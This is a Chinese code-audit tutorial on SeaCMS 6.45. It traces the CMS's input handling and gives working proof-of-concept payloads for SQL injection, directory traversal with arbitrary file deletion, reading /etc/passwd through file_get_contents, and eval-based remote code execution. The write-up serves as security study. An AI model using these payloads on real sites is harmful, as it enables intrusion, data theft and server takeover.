
0x01 简介
SeaCMS 是一套专为不同需求的站长而设计的视频点播系统,也曾爆出过很多经典的漏洞,现在仍在维护,最新版本是 v12.x
本次代码审计选择的版本是 SeaCMS 6.45,活跃时间大概在2015年,因为这个版本存在很多有趣的漏洞,十分适合我们练手
0x02 全局分析
网站首页 index.php
index.php
SeaCMS 和 BlueCMS 的网站首页差不多,加载其他文件处理关键逻辑,然后借助模板输出网页视图。SeaCMS 并没有采用Smarty模板引擎处理
require_once ("include/common.php");
require_once sea_INC."/main.class.php";
// 输出首页页面
echoIndex();
common.php
include/common.php
// 加载一些基础文件,360webscan.php具有一些安全过滤,mysql.php定义了数据库操控函数,common.func.php含有大量基础函数
require_once($_SERVER['DOCUMENT_ROOT'].'/360safe/360webscan.php');
require_once( sea_INC.'/inc/mysql.php' );
require_once(sea_INC.'/common.func.php');
//检查和注册外部提交的GPC变量是否为系统的全局或配置变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
// 过滤GPC数据,_RunMagicQuotes底层是addslashes()实现
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
//加载配置文件,主要为数据库配置文件和系统配置参数,这里就是 cfg_ 变量
require_once(sea_DATA.'/common.inc.php');
require_once(sea_DATA."/config.cache.inc.php");
//模板的存放目录
$cfg_templets_dir = 'templets';
// 文件上传安全处理
if($_FILES)
{
require_once(sea_INC.'/uploadsafe.inc.php');
}
//引入数据库类 sql.class.php 会实例化 $db/$dsql 数据库链接对象,$db->linkID保存着数据库连接
require_once(sea_INC.'/sql.class.php');
重点关注common.php 对变量的处理,首先程序禁止GPC变量为系统的全局变量或cfg_
配置变量,然后全局对GPC数据做addslashes()过滤,没有过滤$_SERVER
。注意这里通过$$
的方式直接把GPC的变量注册到系统中,可能会造成变量覆盖漏洞的问题
加载的 common.func.php 含有大量的基础函数,其中还有 RemoveXSS() 这种方法过滤 xss 代码,需要调用才能实现
注意到SeaCMS 对文件上传也有全局处理,跟踪下这个文件 include/uploadsafe.inc.php
这里通过黑名单方式禁用了很多以文件后缀,如果服务器只解析 php 后缀的文件,我们则很难绕过这个
$cfg_not_allowall = "php|pl|cgi|asp|asa|cer|aspx|jsp|php3|shtm|shtml";
foreach($_FILES as $_key=>$_value)
{
if(!empty(${$_key.'_name'}) && (m_eregi("\.(".$cfg_not_allowall.")$",${$_key.'_name'}) || !m_ereg("\.",${$_key.'_name'})) )
{
exit('Upload filetype not allow !');
}
}
后台入口 index.php
前台的功能点一般比较少,很多时候需要通过后台的功能点才能获取到shell,bluecms就是通过后台获取的shell。下面分析一下后台入口文件 index.php 的流程
admin/index.php
下面是 admin/index.php 的全部代码,写的十分简单,可以看到具体逻辑还是交给了加载的文件,我们还需要分析加载的代码
<?php
// config.php 会加载common.php对外部数据做全局过滤,还会加载check.admin.php做身份验证,是后台的核心文件
require_once(dirname(__FILE__)."/config.php");
// inc_menu.php 存有后台菜单的大量信息,将会在index.htm中显示
require_once(sea_ADMIN.'/inc_menu.php');
$defaultIcoFile = sea_ROOT.'/data/admin/quickmenu.txt';
$myIcoFile = sea_ROOT.'/data/admin/quickmenu-'.$cuserLogin->getUserID().'.txt';
if(!file_exists($myIcoFile)) {
$myIcoFile = $defaultIcoFile;
}
// 后台的视图输出都在该模板中
include(sea_ADMIN.'/templets/index.htm');
admin/config.php
admin/config.php
加载了和首页index.php相同的common.php,这里能知道 BlueCMS 后台也做了全局安全过滤和其他的操作
加载了check.admin.php,该类定义了userLogin类,用于用户的身份认证,所以加载了 config.php 的文件基本可以认定是需要登陆后台。SeaCMS 主要通过session来认证用户身份,没有通过认证的将会跳转到登陆页面。因为我没有看出SeaCMS的认证缺陷,这里就不多分析具体的逻辑了
// 加载基础文件
require_once(sea_ADMIN."/../include/common.php");
require_once(sea_INC."/check.admin.php");
//检验用户登录状态
$cuserLogin = new userLogin();
$hashstr=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser);//构造session安全码
if($cuserLogin->getUserID()==-1 OR $_SESSION['hashstr'] !== $hashstr)
{
header("location:login.php?gotopage=".urlencode($EkNowurl));
exit();
}
// 定义很多的方法
function makeTopicSelect()
function getTemplateType()
……
后台页面的视图
admin/templets/index.htm
SeaCMS 也有用到 iframe 让 index.php 可以成为入口文件,和BlueCMS不同的是,SeaCMS在菜单栏上并没有使用iframe,而是使用大量php代码+HTML代码来实现,看起来十分困难
从这里也能感受到早期CMS在视图呈现上的常用方式,它们通常在php代码中保存要输出的信息,然后通过加载一个htm的静态页面,在静态页面中穿插部分php代码,从而呈现出视图。看到这也不免期待使用 MVC 架构的程序实现视图的方案
<table cellpadding="0" cellspacing="0" width="100%" height="100%">
<tr>
<td colspan="3" height="90">
<div class="header">
# 包括logo,pannel,nav等,其中nav为上部菜单(导航栏),主要显示inc_menu.php中的数据
</div>
</td>
</tr>
<tr>
<td>#左部菜单和footer,主要显示inc_menu.php中的数据</td>
<td valign="top" class="maincontent">#主题内容通过iframe实现
<iframe src="index_body.php" name="I2" width="100%" height="100%" frameborder="0" scrolling="yes"
style="overflow: visible;"></iframe>
</td>
</tr>
</table>
0x03 挖洞记录
Seacms 前台除了有一个代码执行的漏洞,没有发现其他什么漏洞,大多数漏洞都在后台。因为前台的代码执行漏洞有点复杂,我放到最后解析
SQL注入
前台sql注入
comment/api/index.php
这个前台sql注入稍微有点复杂,但代码审计的关键是一击致命,下面放出一眼应该看出存在漏洞的两行代码:
我们知道addslashs()主要是过滤引号的sql注入,其中$type
,$ids
并没有被引号包裹,如果我们找出这两个参数可控,那么这个sql注入就可利用了
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
然后再细看代码:
$type
默认为1,而且会经过 is_numeric() 数字类参数的判断,故该参数不能利用,同样的$id
,$page
也只能控制为数字类的参数
$page<2
可能会提前退出程序,所以最好控制 $page>=2
最后最执行ReadData()函数,跟进该函数,当 $id>0(来自$gid)时会调用Readmlist(), Readrlist()
传入 Readrlist() 的参数来自$ids = $x = implode(',',$rlist)
,即$rlist
,该参数可控,implode()是把数组参数转换为字符串, 所以$ids
可控,那么上面的代码漏洞存在
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
……
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
// $x来自$rlist,然后传入Readrlist()
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readrlist($ids,$page,$size){
global $dsql,$type;
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
……
}
现在我们就需要构造一个poc,上面我们知道,需要的条件有:1、$page>=2;2、$gid>0;3、$rlist为数组
最终构造的POC:
http://seacms.test:8888/comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database()))
注意绕过SeaCMS内置的waf
像这种漏洞通过黑盒测试是很难测出来的,如果通过代码审计找到这个漏洞就会比较有成就感
后台反引号sql注入
admin/admin_database.php
这是一个很典型的sql注入漏洞,使用 addslashes() 只能过滤掉单引号的注入,使用反引号包裹变量可以绕过,反引号一般用于包裹表名,可以利用下面的正则全局搜索一下
`[$][A-Za-z0-9_]*`
便可以找到 admin_database.php 存在这样的代码:
admin_database.php 加载了 config.php,就会对GPC数据过滤并注册、验证登陆状态
通过控制$action=="bak"
,$nowtable
不为空,就可以成功执行
Select * From `$nowtable`
而$nowtable
不为空且可控,可以通过该值传入sql语句。这里就是常见的反引号包裹表名绕过单引号过滤导致的SQL注入
require_once(dirname(__FILE__)."/config.php");
……
elseif($action=="bak")
{
$tables = explode(',',$tablearr);
if(empty($tablearr))
{
ShowMsg('你没选中任何表!','admin_database.php');
exit();
}
if($nowtable=='')
{
……
}
else
{
$dsql->SetQuery("Select * From `$nowtable` ");
$dsql->Execute();
}
while($row2 = $dsql->GetArray())
{
}
for($i=0;$i<count($tables);$i++)
{
if($tables[$i]==$nowtable)
{
if(isset($tables[$i+1]))
{
$nowtable = $tables[$i+1];
$startpos = 0;
break;
}else
{
PutInfo("完成所有数据备份!","");
header('Location:admin_database.php');
exit();
}
}
}
$doneForm="<form name='gonext' method='post' action='admin_database.php?action=bak'>"
//…… 一直跳转备份
}
但我这里遇到两个小问题:
1)构造sql报错语句
该处为闭合表名注入sql语句,最好的方式是构造报错语句。一般遇到的sql注入都是在where处,此处sql注入位于表名,最好注入where语句,如下:
SELECT * FROM `sea_admin` WHERE 1=extractvalue(1,concat(0x7e,DATABASE()));
这个前提是要知道存在的表名,否则会因为表名不存在报错而没有执行我们注入的报错语句
表名一般都很好猜测,其次这里既然是参数传来,我们抓包应该也能获取到
2)循环备份逻辑干扰结果判断
详细读了代码,发现注入sql语句会导致网站一直循环备份,影响sql注入的结果,我没有找到停止循环的方式,很烦。
不过该处的循环方式采用的是自动发起一个form表单,相当于再次访问该网页。于是我便用burp来发包,确保只看第一个数据包
目录穿越
这一个就比较有意思了,在Seay扫描结果中发现一个可能任意文件删除
现在浏览器中打开该网页,有种目录遍历的感觉呀
查看代码:
require_once(dirname(__FILE__)."/config.php");
if(empty($action))
{
$action = '';
}
$dirTemplate="../templets";
if($action=='edit'){}
elseif($action=='del'){}
elseif($action=='add'){}
else
{
if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
if(substr($path,0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$flist=getFolderList($path);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
截取$path
前11位字符,如果不等于../templets
则直接退出
前11位字符控制了,但我们还可以控制后面的字符:../templets/../../
到这,我们有了整个操作系统文件的基础控制权,包括浏览,删除等操作
具体看了seacms提供的功能,对应每个文件都会有删除功能,而且同样只限制了前11位字符,可以绕过实现任意文件删除,而且此处因为可以浏览操作系统中存在哪些文件,于是删除哪些文件都能知道路径,做到「真任意文件删除」
另外本处只能通过编辑功能查看部分后缀文件,虽然有限,但同样能看到操作系统中的所有符合要求的文件
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
任意文件读取
admin/templets/admin_collect_ruleadd2.htm
这个htm文件通过file_get_contents()
读取$siteurl
的内容
//96-101
<?php
$content = !empty($showcode)?@file_get_contents($siteurl):'';
$content = $coding=='gb2312'?gbutf8($content):$content;
if(!$content) echo "读取URL出错";
echo htmlspecialchars($content);
全局搜索包含admin_collect_ruleadd2.htm
的文件,发现admin/admin_collect.php和admin/admin_collect_news.php两个文件均有包含,大致看了内容差不多,按照里面的逻辑构造,利用变量覆盖,最终构造payload如下:
POST:http://seacms.test:8888/admin/admin_collect_news.php
action=addrule&step=2&itemname=1&siteurl=file:///etc/passwd&showcode=111
效果:
在php中file_get_contents()也可以造成SSRF漏洞
代码执行
逆向分析
include/main.class.php
该文件有5个差不多的eval
语句,具体逻辑有点复杂,我们先直接查看关键语句,可能会被eval
执行的$strIf
基本来自$content
function parseIf($content){
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
preg_match_all($labelRule,$content,$iar);
$strIf=$iar[1][$m];
……
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
……
}
然后追踪一下parseIf()
函数
search.php
其中$content
来自一个缓存文件,为搜索结果展示给用户的 HTML 页面
在echoSearchPage()
中,将会对$content
部分内容做定制替换
最后$content
将被patseIf()
执行
require_once("include/common.php");
require_once(sea_INC."/main.class.php");
foreach($_GET as $k=>$v)
{
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
$schwhere.= "&$k=".urlencode($$k);
}
$page = (isset($page) && is_numeric($page)) ? $page : 1;
echoSearchPage();
function echoSearchPage()
{
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
……
}
……
$content = str_replace("{searchpage:page}",$page,$content);
$content = str_replace("{seacms:searchword}",$searchword,$content);
$content = str_replace("{seacms:searchnum}",$TotalResult,$content);
$content = str_replace("{searchpage:ordername}",$order,$content);
……
$content=$mainClassObj->parseIf($content);
}
通过search.php
的代码可以知道的是该文件具有单独执行能力且位于前台,该文件单独对GPC数据做了全局过滤,同样使用了$$
的方式赋值GPC数据,可能造成变量覆盖的问题,从而导致在$content
替换的内容上我们可控,最终控制parseIf
中eval()
参数,从造成任意代码执行的漏洞。
以上粗略估计可能存在任意代码执行的漏洞,但程序中变量传递十分复杂,变量能否按我们的需求传递到eval()中执行还不知道,追踪一个参数看看具体过程是否可以实现
正向利用
我们可以通过$page
、$searchword
、$TotalResult
、$order
等参数控制$content
的部分内容,其中只有$order
是完全可控的。$order
替换的内容是{searchpage:ordername}
,在全局搜索中只有cascade.html
文件具有这些信息
当$searchtype==5
时,$content
文件的内容来自于cascade.html
,这个文件内容具有以下关键信息:
<a href="{searchpage:order-time-link}" {if:"{searchpage:ordername}"=="time"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderhits">最新上映</a>
<a href="{searchpage:order-hit-link}" {if:"{searchpage:ordername}"=="hit"} class="btn btn-success" {else} class="btn btn-default" {end if} id="orderaddtime">最近热播</a>
<a href="{searchpage:order-score-link}" {if:"{searchpage:ordername}"=="score"} class="btn btn-success" {else} class="btn btn-default" {end if} id="ordergold">评分最高</a>
便可以通过$order
参数替换$content
中的{searchpage:ordername}
。
至于需要构造什么样的内容,要看parseif()
解析什么内容,程序代码太复杂,直接打断点看parseIf()
中匹配$content
使用的正则为:/{if:(.*?)}(.*?){end if}/is
正则表达式/{if:(.*?)}(.*?){end if}/is
的匹配结果将会有两个匹配子组,最终匹配结果为$iar
数组,其中$iar[0]
为整个匹配结果,$iar[1]
和$iar[2]
为两个匹配子组
其中
eval()
要执行的$strIf
来自$iar[1]
即第一个匹配子组
那么我们现在要构造的结果内容就清晰了,构造逻辑大致如下:
代码执行的payload如下:
searchtype=5&searchword=d&order=}{end if}{if:1)phpinfo();if(1}{end if}
payload执行流程如下:
0x04 总结
通过审计 SeaCMS 主要学习他的程序逻辑,而且 SeaCMS 还有几个有趣的漏洞,审计下来收获颇丰
参考:
海洋cms官网:https://www.seacms.net/
https://github.com/SukaraLin/php_code_audit_project
seacms多个版本的代码执行漏洞:https://github.com/jiangsir404/PHP-code-audit/tree/master/seacms
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)